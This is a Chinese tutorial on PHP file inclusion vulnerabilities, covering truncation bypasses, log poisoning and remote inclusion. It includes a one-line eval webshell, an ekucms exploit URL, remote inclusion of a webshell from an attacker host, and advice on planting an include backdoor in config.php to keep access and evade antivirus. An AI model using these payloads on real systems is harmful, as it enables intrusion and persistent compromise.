php 的一些漏洞梳理
以下主要是近期对 php 一些常见漏洞的梳理,包含 php 文件包含、php 反序列化漏洞以及 php 伪协议。其中
一、php 文件包含漏洞
在开发中,开发人员会将一些重复使用的代码函数汇总放到单个文件中,需要使用某个函数时直接调用此文件。这个调用过程称为文件包含。为了使代码更灵活,将被包含的文件设置为变量用来进行动态调用。这就导致客户端可以调用一个恶意文件,造成文件包含漏洞。文件包含漏洞在 php 中居多。造成执行任意代码、包含恶意文件控制网站、敏感文件读取等危害
1.常见包含函数
include():执行到 include 时才包含文件,找不到被包含文件时产生警告,但是脚本继续执行。
require():程序一运行就包含文件,找不到被包含的文件产生致命错误,脚本停止运行
include_once&require_once():这两个函数行为与 include/require 类似,区别在于他们只做一次包含,即如果文件中代码已经被包含则不会再次被包含
2.利用条件
程序用 include()等文件包含函数通过动态变量的方式引入需要包含的文件
用户能够控制该动态变量
配置文件 php.ini 中参数 allow_url_fopen=open,此参数默认为 open
远程包含则需要 php.ini 中参数 allow_url_include=open,此参数默认为 close
3.包含分类
本地文件包含:上传带有 shell 代码的任意格式文件,利用文件包含漏洞将该文件当作脚本格式解析。
远程文件包含:在远程服务器上放置大马以此绕过杀软提权
4.利用方法
包含日志文件 getshell
包含 data:或 php://input 等伪协议
若有 phpinfo 则可以包含临时文件
如果一个网站有文件包含但是无法 getshell,尝试在旁站上上传图片马,然后进行文件包含拿 shell
5.实例
假如目标网站有 news.php 文件,文件内容为:
此时该文件存在文件包含漏洞。include 函数通过动态变量的方式引入需要包含的文件,若用户能控制该变量;在同级目录下上传 test.txt 文件,内容为:
此时访问测试:http://192.168.1.3/fileinclude/news.php?id=test.txt。将 test.txt 文件传送给 id 参数并复制给 test 变量,然后 txt 文件被当作 php 脚本脚本文件执行。
同时也可以任意包含,根据物理路径读取服务器敏感文件:
6.附加后缀截断
例如包含读取/etc/passwd 文件,网站源码会给一个后缀形成如:/etc/passwd.php,导致无法读取文件内容。具体代码如下,此时该代码存在文件包含漏洞,由于在漏洞利用被包含的文件会被添加上.php 后缀,无法直接利用。
绕过方法一:%00 截断
http://www.test.com/test/a.php?c=1.txt%00
注意:%00 截断包含适合 php 版本<5.3.4,对应版本的配置文件 magic_quotes_gps=off,才能够进行绕过,否则 %00 会被转义。
绕过方法二:文件名附加./././././.进行长度截断
http://www.test.com/test/a.php?c=1.txt/././././././././././././././././././....
注意:Windows 服务器字节长度应大于 256,Linux 要大于 4096
7.包含日志拿 shell
拿 shell 步骤
访问../file.php?id=1<?php @eval($_POST[a]);?>
后台在/var/log/httpd/acess_log 会生成带有一句话的日志,相当与将一句话以.log 形式写入了网站目录
然后根据文件包含漏洞>连接../file.php?file=…/…/…/…/var/log/httpd/acess_log,getshell
实例:ekucms 某版本存在文件包含漏洞
①通过访问该 url,将一句话木马写入日志文件中
http://192.168.1.3/ekucms2.4.1/?s=my/show/id/{~eval($_POST[x])}
②该日志是以时间日期命名的,用菜刀连接该日志文件,得到 shell
http://192.168.1.3/ekucms2.4.1/?s=my/show/id/\..\temp\logs\200518.log
8.读源代码
直接读取 php 文件返回的是代码编译解析后的结果,并不能看到源代码。
http://192.168.1.3/news.php?id=shell.php
此时可以使用封装伪协议读取:
9.远程文件包含
远程文件包含文件名不能为 php 可解析的扩展名。另外远程文件包含要确保 php.ini 中 allowurlfopen 和 allowurlinclude 状态为 on。为躲避杀软将大马放到自己的 vps 上然后远程包含。
http://192.168.1.3/1.php?file=http://www.xxxx.com/1.png
远程包含限制绕过后缀名限制:
绕过方法:
利用远程文件包含进行权限维持
include 代码不会报毒。所以我们在 getshell 后在网站配置文件中写入包含代码(如:config.php,<?php include($_GET['x']);?>管理员一般不会修改配置文件源代码)里面插入文件包含代码。如果目标 allow_url_fopen 和 allow_url_include 状态都为 on。既可以永久进行远程包含,达到权限维持的目的。
评论